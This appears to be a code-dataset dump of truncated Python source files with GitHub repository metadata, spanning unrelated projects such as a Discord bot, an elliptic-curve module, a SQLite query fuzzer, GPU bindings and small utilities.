faircloth-lab/phyluce
ae6801a7e749be2fa38513db9846046241d0fd7a
[ "BSD-3-Clause" ]
45
2015-01-26T13:09:50.000Z
2021-05-24T04:20:30.000Z
#!/usr/bin/env python # -*- coding: utf-8 -*- """ (c) 2015 Brant Faircloth || http://faircloth-lab.org/ All rights reserved. This code is distributed under a 3-clause BSD license. Please see LICENSE.txt for more information. Created on 0 March 2012 09:03 PST (-0800) """ import os import tempfile import subprocess ...
26.046875
79
0.628674
1,181
0.708458
0
0
0
0
0
0
746
0.44751
c3de5aec1e9569212d47284ebab8aa408f948043
833
py
Python
main.py
dunningjack/parrot
1b3cf8b17a8d7880e1a6b2864366115ca8a1759f
[ "MIT" ]
null
null
null
main.py
dunningjack/parrot
1b3cf8b17a8d7880e1a6b2864366115ca8a1759f
[ "MIT" ]
null
null
null
main.py
dunningjack/parrot
1b3cf8b17a8d7880e1a6b2864366115ca8a1759f
[ "MIT" ]
null
null
null
import os from dotenv import load_dotenv from discord.ext import commands load_dotenv() TOKEN = os.getenv('DISCORD_TOKEN') GUILD = os.getenv('DISCORD_GUILD') client = commands.Bot(command_prefix='!p') @client.event async def on_ready(): print("We have logged in as {0.user}".format(client)) @client.command() a...
21.358974
57
0.669868
0
0
0
0
601
0.721489
555
0.666267
76
0.091236
c3e08f45a7325555562cd081380f71ba2b964a18
1,856
py
Python
watcher/decision_engine/model/element/volume.py
ajaytikoo/watcher
6dbac1f6ae7f3e10dfdcef5721fa4af7af54e159
[ "Apache-2.0" ]
64
2015-10-18T02:57:24.000Z
2022-01-13T11:27:51.000Z
watcher/decision_engine/model/element/volume.py
ajaytikoo/watcher
6dbac1f6ae7f3e10dfdcef5721fa4af7af54e159
[ "Apache-2.0" ]
null
null
null
watcher/decision_engine/model/element/volume.py
ajaytikoo/watcher
6dbac1f6ae7f3e10dfdcef5721fa4af7af54e159
[ "Apache-2.0" ]
35
2015-12-25T13:53:21.000Z
2021-07-19T15:50:16.000Z
# -*- encoding: utf-8 -*- # Copyright 2017 NEC Corporation # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable ...
32.561404
75
0.716595
1,037
0.558728
0
0
639
0.344289
0
0
889
0.478987
c3e0f5d4f905072bdceac9216392204ee8ebc83c
7,885
py
Python
elliptic_curve.py
eriktaubeneck/ellipic-curve
1014c8dfad7917aaacd6cdf1811f0af3513d3e4c
[ "MIT" ]
null
null
null
elliptic_curve.py
eriktaubeneck/ellipic-curve
1014c8dfad7917aaacd6cdf1811f0af3513d3e4c
[ "MIT" ]
null
null
null
elliptic_curve.py
eriktaubeneck/ellipic-curve
1014c8dfad7917aaacd6cdf1811f0af3513d3e4c
[ "MIT" ]
null
null
null
from dataclasses import dataclass, field from typing import Union, Tuple import sys import secrets import hashlib import math import warnings import base64 from algebra import ZModField, ZModElement from cryptography.fernet import Fernet from cryptography.hazmat.primitives import hashes from cryptography.hazmat.primi...
32.315574
98
0.555485
6,724
0.799049
269
0.031967
6,820
0.810458
0
0
1,940
0.230541
c3e0f6e08ad291980fc7266ea3e2dbebcd6fc1e2
2,045
py
Python
DuplicateFileDetector/Menu.py
aksheus/Duplicate-File-Detector
2c096635b78e9617a65027a725952a8fdbb5a0f7
[ "MIT" ]
null
null
null
DuplicateFileDetector/Menu.py
aksheus/Duplicate-File-Detector
2c096635b78e9617a65027a725952a8fdbb5a0f7
[ "MIT" ]
null
null
null
DuplicateFileDetector/Menu.py
aksheus/Duplicate-File-Detector
2c096635b78e9617a65027a725952a8fdbb5a0f7
[ "MIT" ]
null
null
null
from tkinter import filedialog,messagebox from builtins import str import tkinter import os class Menu: def __init__(self,Title,Resolution,): self.Root=tkinter.Tk() self.Root.title(Title) self.Root.geometry(Resolution) self.MenuTitle = tkinter.Label(self.Root, text="Find Duplicate ...
38.584906
117
0.654279
1,950
0.953545
0
0
0
0
0
0
255
0.124694
c3e1a2988c6085b4d424ff4fea8df316b6870432
2,916
py
Python
service/plugins/sqlite/randQuery.py
liorperry/fuzz
2d49b2ea62b59f2790797a93be6a68aae8a150f7
[ "MIT" ]
1
2020-04-23T08:11:40.000Z
2020-04-23T08:11:40.000Z
service/plugins/sqlite/randQuery.py
liorperry/fuzz
2d49b2ea62b59f2790797a93be6a68aae8a150f7
[ "MIT" ]
null
null
null
service/plugins/sqlite/randQuery.py
liorperry/fuzz
2d49b2ea62b59f2790797a93be6a68aae8a150f7
[ "MIT" ]
null
null
null
# File: randQuery.py import random import string # TODO: # sqlite FTS expressions should be extended with count(*), 'order by', 'group by' etc. class Randomize: def __init__(self): self.map = {} def getRandNum(self, minRange, maxRange): return random.randint(minRange, maxRange) def getRandString(self): s...
29.16
120
0.6869
2,719
0.932442
0
0
0
0
0
0
430
0.147462
c3e23393620a800bd22e9d3452a90377c68df089
216
py
Python
ex29.py
eng-lenin/Python
6038f052b8343878760ed133dd43869927e39b3d
[ "MIT" ]
1
2021-01-30T14:50:55.000Z
2021-01-30T14:50:55.000Z
ex29.py
eng-lenin/Python
6038f052b8343878760ed133dd43869927e39b3d
[ "MIT" ]
null
null
null
ex29.py
eng-lenin/Python
6038f052b8343878760ed133dd43869927e39b3d
[ "MIT" ]
null
null
null
v=float(input('A qual velocidade (km/h) está o carro? ')) if v<= 80: print('Abaixo do limite, obrigado! ') else: print('Você está acima do limite, você deve pagar uma multa de R$ {:.2f}!' .format((v-80)*7))
30.857143
97
0.634259
0
0
0
0
0
0
0
0
143
0.65
c3e2825a16a71ef4f94da2a5f0430d294e223568
974
py
Python
b_tree/b_tree_2/balanced_b_tree.py
rjsnh1522/geeks-4-geeks-python
9bea0ce4f3fae9b5f9e5952fb5b4b3a8c6186cf4
[ "MIT" ]
null
null
null
b_tree/b_tree_2/balanced_b_tree.py
rjsnh1522/geeks-4-geeks-python
9bea0ce4f3fae9b5f9e5952fb5b4b3a8c6186cf4
[ "MIT" ]
5
2021-03-10T11:49:39.000Z
2022-02-27T01:35:59.000Z
b_tree/b_tree_2/balanced_b_tree.py
rjsnh1522/geeks-4-geeks-python
9bea0ce4f3fae9b5f9e5952fb5b4b3a8c6186cf4
[ "MIT" ]
null
null
null
# Definition for a binary tree node class TreeNode: def __init__(self, x): self.val = x self.left = None self.right = None class Solution: # @param A : root node of tree # @return an integer def isBalanced(self, A): is_bal = self.height(A) return 1 if is_bal[0]...
19.48
43
0.540041
688
0.706366
0
0
0
0
0
0
86
0.088296
c3e5419e60dd7ed8ba59e0eb9fb45ebe1365558f
472
py
Python
datasets/tinyimagenet.py
SonyPony/shrinkbench
efe078569d6c91add40f14fa673c1fa7c9cde624
[ "MIT" ]
null
null
null
datasets/tinyimagenet.py
SonyPony/shrinkbench
efe078569d6c91add40f14fa673c1fa7c9cde624
[ "MIT" ]
null
null
null
datasets/tinyimagenet.py
SonyPony/shrinkbench
efe078569d6c91add40f14fa673c1fa7c9cde624
[ "MIT" ]
null
null
null
# Authors: Son Hai Nguyen, Miroslav Karpíšek # Logins: xnguye16, xkarpi05 # Project: Neural network pruning # Course: Convolutional Neural Networks # Year: 2021 import os import torchvision.datasets as datasets class TinyImageNet(datasets.ImageFolder): IMG_SIZE = 56 def __init__(self, root: str, train=True...
22.47619
63
0.661017
256
0.540084
0
0
0
0
0
0
171
0.360759
c3e61bd8ca1f42e3b9a657af37fc1b37d341004b
6,937
py
Python
tuun/probo/models/gp_simple.py
petuum/tuun
8eec472dbf0e5e695449b0fa2d98985469fd5b30
[ "Apache-2.0" ]
33
2020-08-30T16:22:35.000Z
2022-02-26T13:48:32.000Z
tuun/probo/models/gp_simple.py
petuum/tuun
8eec472dbf0e5e695449b0fa2d98985469fd5b30
[ "Apache-2.0" ]
2
2021-01-18T19:46:43.000Z
2021-03-24T09:59:14.000Z
tuun/probo/models/gp_simple.py
petuum/tuun
8eec472dbf0e5e695449b0fa2d98985469fd5b30
[ "Apache-2.0" ]
2
2020-08-25T17:02:15.000Z
2021-04-21T16:40:44.000Z
""" Classes for simple GP models without external PPL backend. """ from argparse import Namespace import copy import numpy as np from .gp.gp_utils import kern_exp_quad, sample_mvn, gp_post from ..util.data_transform import DataTransformer from ..util.misc_util import dict_to_namespace class SimpleGp: """ Si...
30.831111
83
0.566095
6,646
0.958051
0
0
0
0
0
0
3,245
0.467781
c3e63aa7608692e9e7131de69634555c66e2658b
123
py
Python
mantraml/templates/projects/default/settings.py
cclauss/mantra
19e2f72960da8314f11768d9acfe7836629b817c
[ "Apache-2.0" ]
330
2018-09-04T19:07:51.000Z
2021-09-14T11:21:05.000Z
mantraml/templates/projects/default/settings.py
cclauss/mantra
19e2f72960da8314f11768d9acfe7836629b817c
[ "Apache-2.0" ]
13
2018-09-06T06:08:16.000Z
2018-12-01T17:04:38.000Z
mantraml/templates/projects/default/settings.py
cclauss/mantra
19e2f72960da8314f11768d9acfe7836629b817c
[ "Apache-2.0" ]
20
2018-09-06T11:56:07.000Z
2021-12-03T19:48:21.000Z
# AWS SETTINGS AWS_AMI_IMAGE_ID = 'ami-6356761c' AWS_INSTANCE_TYPE = 'p2.xlarge' S3_BUCKET_NAME = 'default-s3-bucket-name'
30.75
41
0.780488
0
0
0
0
0
0
0
0
63
0.512195
c3e7b29b7add9b32e1e75aded94807db6fe3e477
2,882
py
Python
alipay.py
nju161250102/NJUSystem_Server
8b72fde8701d55e62ce8ed4bcb299ec8f0ab32fe
[ "MIT" ]
1
2018-07-31T13:31:52.000Z
2018-07-31T13:31:52.000Z
alipay.py
nju161250102/NJUSystem_Server
8b72fde8701d55e62ce8ed4bcb299ec8f0ab32fe
[ "MIT" ]
null
null
null
alipay.py
nju161250102/NJUSystem_Server
8b72fde8701d55e62ce8ed4bcb299ec8f0ab32fe
[ "MIT" ]
null
null
null
# coding=utf-8 import os import sqlite3 import pandas as pd from model import AliPay def classify(item: AliPay): if item.money_state == "" or item.money_state == "冻结": return "无效交易", "" if "余额宝-" in item.name and "-收益发放" in item.name: return "理财", "余额宝收益" if "蚂蚁财富-" in item.target: ...
29.408163
87
0.552047
0
0
0
0
0
0
0
0
1,619
0.485894
c3ec56e1c8af0f7d9f9d9a7aa6021e37dc6a449a
139
py
Python
robust_loss/robust_loss_pytorch/__init__.py
danieltudosiu/nmpevqvae
c4b96f391ddbe143b2a1e1e445890cee0da271e7
[ "MIT" ]
8
2020-03-20T14:52:29.000Z
2022-03-04T03:26:45.000Z
robust_loss/robust_loss_pytorch/__init__.py
ctr26/nmpevqvae
c4b96f391ddbe143b2a1e1e445890cee0da271e7
[ "MIT" ]
5
2021-04-30T21:13:08.000Z
2022-01-13T02:24:31.000Z
robust_loss/robust_loss_pytorch/__init__.py
ctr26/nmpevqvae
c4b96f391ddbe143b2a1e1e445890cee0da271e7
[ "MIT" ]
5
2020-04-03T09:56:13.000Z
2022-02-25T13:24:03.000Z
from .adaptive import ( AdaptiveLossFunction, StudentsTLossFunction, AdaptiveImageLossFunction, ) from .general import lossfun
19.857143
30
0.776978
0
0
0
0
0
0
0
0
0
0
c3ec7075da3ac0f6caa68b6294ec49080570e1a4
258
py
Python
learning/challenge/counting.py
Nephrin/Tut
9454be28fd37c155d0b4e97876196f8d33ccf8e5
[ "Apache-2.0" ]
2
2019-06-23T07:17:30.000Z
2019-07-06T15:15:42.000Z
learning/challenge/counting.py
Nephrin/Tut
9454be28fd37c155d0b4e97876196f8d33ccf8e5
[ "Apache-2.0" ]
null
null
null
learning/challenge/counting.py
Nephrin/Tut
9454be28fd37c155d0b4e97876196f8d33ccf8e5
[ "Apache-2.0" ]
1
2019-06-23T07:17:43.000Z
2019-06-23T07:17:43.000Z
def main(inp): print(count(inp)) def count(inp): d = {1:"one",2:"two",3:"three",4:"four",5:"five",6:"six",7:"seven",8:"eight",9:"nine"} if inp%10 == 0: print(inp) else: print(d.get((inp%10))) if __name__ == '__main__': main(200)
17.2
88
0.53876
0
0
0
0
0
0
0
0
64
0.248062
c3edee5be71eaec577fa2bdd9fc8bc030cfafc06
5,736
py
Python
Lib/site-packages/wx-2.8-msw-unicode/wx/tools/Editra/src/syntax/_ruby.py
ekkipermana/robotframework-test
243ca26f69962f8cf20cd7d054e0ff3e709bc7f4
[ "bzip2-1.0.6" ]
11
2017-09-30T05:47:28.000Z
2019-04-15T11:58:40.000Z
Lib/site-packages/wx-2.8-msw-unicode/wx/tools/Editra/src/syntax/_ruby.py
ekkipermana/robotframework-test
243ca26f69962f8cf20cd7d054e0ff3e709bc7f4
[ "bzip2-1.0.6" ]
null
null
null
Lib/site-packages/wx-2.8-msw-unicode/wx/tools/Editra/src/syntax/_ruby.py
ekkipermana/robotframework-test
243ca26f69962f8cf20cd7d054e0ff3e709bc7f4
[ "bzip2-1.0.6" ]
7
2018-02-13T10:22:39.000Z
2019-07-04T07:39:28.000Z
############################################################################### # Name: ruby.py # # Purpose: Define Ruby syntax for highlighting and other features # # Author: Cody Precord <cprecord@editra.org> # ...
38.24
80
0.540795
736
0.128312
0
0
0
0
0
0
2,940
0.512552
c3ee32e700e90fe20b3a4bc575d2c268c9537e30
1,190
py
Python
gui.py
gabrielmontagne/Blender_Screenwriter
224524a11bee544bd9187521930c9809eb87efad
[ "MIT" ]
null
null
null
gui.py
gabrielmontagne/Blender_Screenwriter
224524a11bee544bd9187521930c9809eb87efad
[ "MIT" ]
null
null
null
gui.py
gabrielmontagne/Blender_Screenwriter
224524a11bee544bd9187521930c9809eb87efad
[ "MIT" ]
null
null
null
import bpy class SCREENWRITER_PT_panel(bpy.types.Panel): """Preview fountain script as formatted screenplay""" bl_label = "Screenwriter" bl_space_type = 'TEXT_EDITOR' bl_region_type = 'UI' bl_category = "Text" def draw(self, context): layout = self.layout layout.use_property_sp...
31.315789
76
0.691597
1,027
0.863025
0
0
0
0
0
0
355
0.298319
c3eef6f9729f8c1bef48244b9732c1b942b74194
4,270
py
Python
dephell_venvs/_venv.py
dephell/dephell_venvs
3d8487eae88cb8d644d0e9a5c36d5392214afdec
[ "MIT" ]
3
2019-04-07T21:46:35.000Z
2020-11-20T21:09:24.000Z
dephell_venvs/_venv.py
dephell/dephell_venvs
3d8487eae88cb8d644d0e9a5c36d5392214afdec
[ "MIT" ]
2
2019-07-18T15:20:50.000Z
2020-11-11T10:42:05.000Z
dephell_venvs/_venv.py
dephell/dephell_venvs
3d8487eae88cb8d644d0e9a5c36d5392214afdec
[ "MIT" ]
1
2021-09-28T02:40:29.000Z
2021-09-28T02:40:29.000Z
# built-in import shutil import sys from itertools import chain from pathlib import Path from typing import Optional, Union # external import attr from dephell_pythons import Python, Finder # app from ._constants import PYTHONS, IS_WINDOWS from ._cached_property import cached_property from ._builder import VEnvBuilde...
27.908497
78
0.566745
3,935
0.921546
0
0
3,945
0.923888
0
0
569
0.133255
c3f241ae53b6959fac76729c56c69cdc3b63c9cf
51
py
Python
_scripts/objecteditor/model/__init__.py
Son-Guhun/Titan-Land-Lands-of-Plenty
edeca1d5437a7397195799ebf4b9585ee4609fed
[ "MIT" ]
12
2019-05-27T16:02:28.000Z
2021-01-08T09:32:08.000Z
_scripts/objecteditor/model/__init__.py
Son-Guhun/Titan-Land-Lands-of-Plenty
edeca1d5437a7397195799ebf4b9585ee4609fed
[ "MIT" ]
209
2019-04-06T15:16:52.000Z
2021-07-03T02:11:53.000Z
_scripts/objecteditor/model/__init__.py
Son-Guhun/Titan-Land-Lands-of-Plenty
edeca1d5437a7397195799ebf4b9585ee4609fed
[ "MIT" ]
1
2021-05-26T12:13:35.000Z
2021-05-26T12:13:35.000Z
from myconfigparser import Decoration, Production
17
49
0.862745
0
0
0
0
0
0
0
0
0
0
c3f2cf04bce9bef9ea2b365012ef9d47d14ae3f2
447
py
Python
apps/bc_scraper/actions/search.py
aurmeneta/ramos-uc
364ab3c5a55032ab7ffc08665a2da4c5ff04ae58
[ "MIT" ]
7
2021-07-14T18:13:35.000Z
2021-11-21T20:10:54.000Z
apps/bc_scraper/actions/search.py
aurmeneta/ramos-uc
364ab3c5a55032ab7ffc08665a2da4c5ff04ae58
[ "MIT" ]
57
2021-07-10T01:31:56.000Z
2022-01-14T02:02:58.000Z
apps/bc_scraper/actions/search.py
aurmeneta/ramos-uc
364ab3c5a55032ab7ffc08665a2da4c5ff04ae58
[ "MIT" ]
4
2021-07-23T16:51:55.000Z
2021-08-31T02:41:41.000Z
from ..scraper.search import bc_search def search(initials, period): """Search for a initial and period in BuscaCursosUC. Prints the results. Useful for testing only. """ print("Searching in BC:", initials) courses = bc_search(initials, period) for c in courses: print(c["initials"], c[...
31.928571
73
0.642058
0
0
0
0
0
0
0
0
206
0.46085
c3f31e8c5d6c5dd950e94f91051ce5f31a7f7b3e
3,350
py
Python
test/dlc_tests/ec2/test_smdebug.py
Elizaaaaa/deep-learning-containers
6274ecb264645070d11b27e5c7e60d2e4110537d
[ "Apache-2.0" ]
1
2021-07-14T20:13:12.000Z
2021-07-14T20:13:12.000Z
test/dlc_tests/ec2/test_smdebug.py
Elizaaaaa/deep-learning-containers
6274ecb264645070d11b27e5c7e60d2e4110537d
[ "Apache-2.0" ]
null
null
null
test/dlc_tests/ec2/test_smdebug.py
Elizaaaaa/deep-learning-containers
6274ecb264645070d11b27e5c7e60d2e4110537d
[ "Apache-2.0" ]
null
null
null
import os import pytest from test.test_utils import CONTAINER_TESTS_PREFIX, LOGGER, is_tf2, is_tf1 from test.test_utils.ec2 import get_ec2_instance_type SMDEBUG_SCRIPT = os.path.join(CONTAINER_TESTS_PREFIX, "testSmdebug") SMDEBUG_EC2_GPU_INSTANCE_TYPE = get_ec2_instance_type(default="p3.8xlarge", processor="gpu")...
39.411765
119
0.720299
0
0
0
0
1,280
0.38209
0
0
1,232
0.367761
c3f344b0d44522013033f6e3330ba00bba1d717e
30,559
py
Python
wgpu/rs.py
Korijn/wgpu-py
72f89be121ea6cd819a145ee3b037004211b3245
[ "BSD-2-Clause" ]
null
null
null
wgpu/rs.py
Korijn/wgpu-py
72f89be121ea6cd819a145ee3b037004211b3245
[ "BSD-2-Clause" ]
null
null
null
wgpu/rs.py
Korijn/wgpu-py
72f89be121ea6cd819a145ee3b037004211b3245
[ "BSD-2-Clause" ]
null
null
null
""" WGPU backend implementation based on the wgpu library. The Rust wgpu project (https://github.com/gfx-rs/wgpu) is a Rust library based on gfx-hal, which wraps Metal, Vulkan, DX12 and more in the future. It can compile into a dynamic library exposing a C-API, accomanied by a C header file. We wrap this using cffi, w...
37.914392
198
0.6476
26,403
0.864001
0
0
152
0.004974
1,582
0.051769
10,867
0.355607
c3f3a3c934b982bed6554dc3bf5e9530583b0559
100
py
Python
dojopuzzles/problems/admin.py
rodbv/dojopuzzles
71d76218a8d5ba6340c384c65d0ab1913f72a5cf
[ "MIT" ]
27
2015-03-26T15:29:16.000Z
2020-01-01T16:13:44.000Z
dojopuzzles/problems/admin.py
rodbv/dojopuzzles
71d76218a8d5ba6340c384c65d0ab1913f72a5cf
[ "MIT" ]
23
2020-08-13T12:33:59.000Z
2021-05-05T18:31:29.000Z
dojopuzzles/problems/admin.py
rodbv/dojopuzzles
71d76218a8d5ba6340c384c65d0ab1913f72a5cf
[ "MIT" ]
13
2020-08-13T12:51:59.000Z
2021-11-09T23:52:54.000Z
from django.contrib import admin from problems.models import Problem admin.site.register(Problem)
16.666667
35
0.83
0
0
0
0
0
0
0
0
0
0
c3f41031d68e0a2d6308085aa0e246d0f490465c
968
py
Python
lct/tasks/taskstore.py
pathbreak/linode-cluster-toolkit
280257436105703c9a122e7ed111a72efa79adfc
[ "MIT" ]
11
2017-07-19T15:25:39.000Z
2021-12-02T20:03:21.000Z
lct/tasks/taskstore.py
pathbreak/linode-cluster-toolkit
280257436105703c9a122e7ed111a72efa79adfc
[ "MIT" ]
null
null
null
lct/tasks/taskstore.py
pathbreak/linode-cluster-toolkit
280257436105703c9a122e7ed111a72efa79adfc
[ "MIT" ]
1
2021-12-02T20:03:22.000Z
2021-12-02T20:03:22.000Z
class TaskStore(object): ''' All task execution plans are stored and tracked in a TaskStore. Both are crucual for supporting pause and resume of operations. The interface to be implemented by all providers that provide task storage capabilities. ''' def initialize(self): ...
28.470588
74
0.636364
967
0.998967
0
0
0
0
0
0
670
0.692149
c3f55e5b9b4b2ea7da77a3255ee2851f0eb3612a
980
py
Python
py/examples/plot_line_annotation.py
swt2c/wave
7fe897a34f4ac25157920132b2e873da755643a8
[ "Apache-2.0" ]
3,013
2020-12-15T15:53:23.000Z
2022-03-31T00:21:06.000Z
py/examples/plot_line_annotation.py
swt2c/wave
7fe897a34f4ac25157920132b2e873da755643a8
[ "Apache-2.0" ]
591
2020-12-15T15:54:42.000Z
2022-03-31T12:51:19.000Z
py/examples/plot_line_annotation.py
swt2c/wave
7fe897a34f4ac25157920132b2e873da755643a8
[ "Apache-2.0" ]
159
2020-12-15T16:34:43.000Z
2022-03-31T07:27:16.000Z
# Plot / Line / Annotation # Add annotations to a line #plot. #annotation # --- from synth import FakeTimeSeries from h2o_wave import site, data, ui page = site['/demo'] n = 50 f = FakeTimeSeries() v = page.add('example', ui.plot_card( box='1 1 4 5', title='Time-Numeric', data=data('date price', n), p...
33.793103
108
0.604082
0
0
0
0
0
0
0
0
395
0.403061
c3f677ecc5dfde9410fda55667fad516d6d7ddf7
827
py
Python
catweazle/applog.py
upendar245/CatWeazle
58e4e37a71c61b998c6a3adae5e16343db50aff5
[ "MIT" ]
1
2020-12-17T04:23:32.000Z
2020-12-17T04:23:32.000Z
catweazle/applog.py
upendar245/CatWeazle
58e4e37a71c61b998c6a3adae5e16343db50aff5
[ "MIT" ]
null
null
null
catweazle/applog.py
upendar245/CatWeazle
58e4e37a71c61b998c6a3adae5e16343db50aff5
[ "MIT" ]
1
2020-04-24T10:17:03.000Z
2020-04-24T10:17:03.000Z
import logging import aiotask_context as context class AppLogging: def __init__(self): self.log = logging.getLogger('application') self.context = context def info(self, msg): self.log.info('{0} {1}'.format(self.context.get('X-Request-ID'), msg)) def warning(self, msg): s...
29.535714
82
0.610641
774
0.935913
0
0
0
0
0
0
151
0.182588
c3f6fa374d87044012bcad96f7cc39ff50d9b5cb
696
py
Python
setnw.py
drewnoakes/bold-humanoid
6025fcc92cdf3ce9486d4fe5af4f30ee7a7a3335
[ "Apache-2.0" ]
null
null
null
setnw.py
drewnoakes/bold-humanoid
6025fcc92cdf3ce9486d4fe5af4f30ee7a7a3335
[ "Apache-2.0" ]
null
null
null
setnw.py
drewnoakes/bold-humanoid
6025fcc92cdf3ce9486d4fe5af4f30ee7a7a3335
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/env python import sys import ConfigParser if len(sys.argv) < 2: print 'Give ESSID' exit(1) config = ConfigParser.RawConfigParser() config.read(r'/etc/wicd/wireless-settings.conf') sectionName = 'essid:' + sys.argv[1] print config.sections() print 'Section name: ' + sectionName if not sectionNa...
21.75
67
0.718391
0
0
0
0
0
0
0
0
270
0.387931
c3f8493530d35d4422ed29b6391daa2f5bde737f
3,412
py
Python
meissner/naver.py
terrylove19/meissner
14cedb73aa86172aac7af4031aa4670d26acc8ef
[ "MIT" ]
1
2022-01-27T10:16:46.000Z
2022-01-27T10:16:46.000Z
meissner/naver.py
terrylove19/meissner
14cedb73aa86172aac7af4031aa4670d26acc8ef
[ "MIT" ]
null
null
null
meissner/naver.py
terrylove19/meissner
14cedb73aa86172aac7af4031aa4670d26acc8ef
[ "MIT" ]
null
null
null
""" .@@# (@&*%@@@/,%@@@# #&@@@@&. .@@# /&@@@@&* /&@@@@&* (@&*%@@@( *%@@@@&/ .@@&*&@. (@@&((&@@@(/&@@, #@@#/(&@@. .@@# #@@(///(, .@@%////, (@@&(/#@@# #@@&//#@@( .@@@@@%. (@@. /@@* ,@@/ .&@@%%%&@@* .@@# ...
35.915789
111
0.541911
0
0
0
0
0
0
0
0
2,403
0.704279
c3fb8295327161f394ebc1278a58504f74938869
1,460
py
Python
benchmark/code/files.py
scailfin/rob-demo-top-tagger
d8a7d9faefd9822cd1e81e8b734158bb96263321
[ "MIT" ]
null
null
null
benchmark/code/files.py
scailfin/rob-demo-top-tagger
d8a7d9faefd9822cd1e81e8b734158bb96263321
[ "MIT" ]
2
2020-02-22T18:37:38.000Z
2020-08-26T02:12:17.000Z
benchmark/code/files.py
scailfin/rob-demo-top-tagger
d8a7d9faefd9822cd1e81e8b734158bb96263321
[ "MIT" ]
1
2021-05-06T15:21:16.000Z
2021-05-06T15:21:16.000Z
# This file is part of the Reproducible Open Benchmarks for Data Analysis # Platform (ROB) - Top Tagger Benchmark Demo. # # Copyright (C) [2019-2020] NYU. # # ROB is free software; you can redistribute it and/or modify it under the # terms of the MIT License; see LICENSE file for more details. """Definition of names f...
37.435897
79
0.649315
0
0
0
0
0
0
0
0
1,190
0.815068
c3fc2587fec4910ae12bfcd023ddcfd1f0a5bc93
676
py
Python
utils/validate_password.py
devanshamin/Vault-Plus
67ef8bab0278977bb5d2e9fd4e6328ef120b47c7
[ "MIT" ]
null
null
null
utils/validate_password.py
devanshamin/Vault-Plus
67ef8bab0278977bb5d2e9fd4e6328ef120b47c7
[ "MIT" ]
null
null
null
utils/validate_password.py
devanshamin/Vault-Plus
67ef8bab0278977bb5d2e9fd4e6328ef120b47c7
[ "MIT" ]
null
null
null
import re from typing import Text, Any def pvalidate(pwd: Text) -> Any: """Validate the user's password. Args: pwd: User's password. Returns: None if password is valid else the problem. """ if len(pwd) < 8: prb = "Make sure your password is at least 8 letters" elif ...
30.727273
68
0.600592
0
0
0
0
0
0
0
0
370
0.547337
c3fc520d24937531ab79fae2872238dcf67090e9
1,668
py
Python
language/python/string_handle.py
morenice/til
9b73f54045dbd65e08df4538300dd12a4a087540
[ "Apache-2.0" ]
null
null
null
language/python/string_handle.py
morenice/til
9b73f54045dbd65e08df4538300dd12a4a087540
[ "Apache-2.0" ]
13
2020-02-11T23:33:22.000Z
2021-06-10T21:17:23.000Z
language/python/string_handle.py
morenice/til
9b73f54045dbd65e08df4538300dd12a4a087540
[ "Apache-2.0" ]
null
null
null
import json def basic(): len('aaaa') str(1) try: a = 'aaa' + 2 except TypeError as e: print('Type Error: {0}'.format(e)) def dict_to_str(): print('dict to str') d1 = {'a': 1, 'b': 'string'} d1_str = str(d1) print(d1_str) # This isn't secure because using eval fu...
18.130435
61
0.529976
0
0
0
0
0
0
0
0
589
0.353118
c3fe000b1019a26268d9d118eed183db105873c1
2,030
py
Python
src/art_name_generator.py
Temur0414/machine-psychology-python-art
ec6dfa4270e463d93976d9cd18cd57f1426d00d9
[ "MIT" ]
40
2021-09-10T15:36:41.000Z
2022-03-12T21:02:28.000Z
src/art_name_generator.py
Temur0414/machine-psychology-python-art
ec6dfa4270e463d93976d9cd18cd57f1426d00d9
[ "MIT" ]
1
2022-01-27T14:57:23.000Z
2022-01-27T14:57:23.000Z
src/art_name_generator.py
Temur0414/machine-psychology-python-art
ec6dfa4270e463d93976d9cd18cd57f1426d00d9
[ "MIT" ]
16
2021-10-03T19:23:57.000Z
2022-03-06T21:27:35.000Z
import openai import os def _new_example(c1: str, c2: str, name: str): return f"[{c1}, {c2}]: {name} #" def generate_name_with_retry( start_color: str, end_color: str, name_set: set = None, max_retry: int = 3 ): for _ in range(max_retry): name = generate_name(start_color, end_color, name_set=nam...
29.42029
78
0.593103
0
0
0
0
0
0
0
0
560
0.275862
7f002d9960c56d001abb3731ddccba2089c50ab1
160
py
Python
testapp/apps/testmodels/apps.py
jsilva234/django-cropperjs
875d1beee38406526399d9f838e7e2aefc81ad2f
[ "MIT" ]
2
2019-08-01T11:48:17.000Z
2019-10-04T21:30:22.000Z
testapp/apps/testmodels/apps.py
jsilva234/django-cropperjs
875d1beee38406526399d9f838e7e2aefc81ad2f
[ "MIT" ]
null
null
null
testapp/apps/testmodels/apps.py
jsilva234/django-cropperjs
875d1beee38406526399d9f838e7e2aefc81ad2f
[ "MIT" ]
1
2020-07-29T14:35:24.000Z
2020-07-29T14:35:24.000Z
# -*- coding: utf-8 -*- from __future__ import unicode_literals from django.apps import AppConfig class TestmodelsConfig(AppConfig): name = 'testmodels'
17.777778
39
0.74375
58
0.3625
0
0
0
0
0
0
35
0.21875
7f006596b23afd581cdbe53ae8dc6b039339fb67
2,455
py
Python
qiskit/aqua/circuits/fourier_transform_circuits.py
hushaohan/aqua
8512bc6ce246a8b3cca1e5edb1703b6885aa7c5d
[ "Apache-2.0" ]
1
2020-07-14T15:32:42.000Z
2020-07-14T15:32:42.000Z
qiskit/aqua/circuits/fourier_transform_circuits.py
hushaohan/aqua
8512bc6ce246a8b3cca1e5edb1703b6885aa7c5d
[ "Apache-2.0" ]
null
null
null
qiskit/aqua/circuits/fourier_transform_circuits.py
hushaohan/aqua
8512bc6ce246a8b3cca1e5edb1703b6885aa7c5d
[ "Apache-2.0" ]
1
2022-01-25T07:09:10.000Z
2022-01-25T07:09:10.000Z
# -*- coding: utf-8 -*- # This code is part of Qiskit. # # (C) Copyright IBM 2019, 2020. # # This code is licensed under the Apache License, Version 2.0. You may # obtain a copy of this license in the LICENSE.txt file in the root directory # of this source tree or at http://www.apache.org/licenses/LICENSE-2.0. # # Any...
35.57971
97
0.654175
1,799
0.73279
0
0
1,705
0.694501
0
0
1,641
0.668432
7f00f2f63bc7e222a107cf0dc06e3426985a2b64
486
py
Python
apps/board/migrations/0002_auto_20190112_1938.py
anonim-legivon/picoboard
801064126ccc88c13703b36e0d7c33ddb831c443
[ "MIT" ]
16
2017-11-30T09:52:57.000Z
2022-01-11T17:49:39.000Z
apps/board/migrations/0002_auto_20190112_1938.py
anonim-legivon/picoboard
801064126ccc88c13703b36e0d7c33ddb831c443
[ "MIT" ]
68
2019-01-05T08:09:18.000Z
2021-06-25T15:17:39.000Z
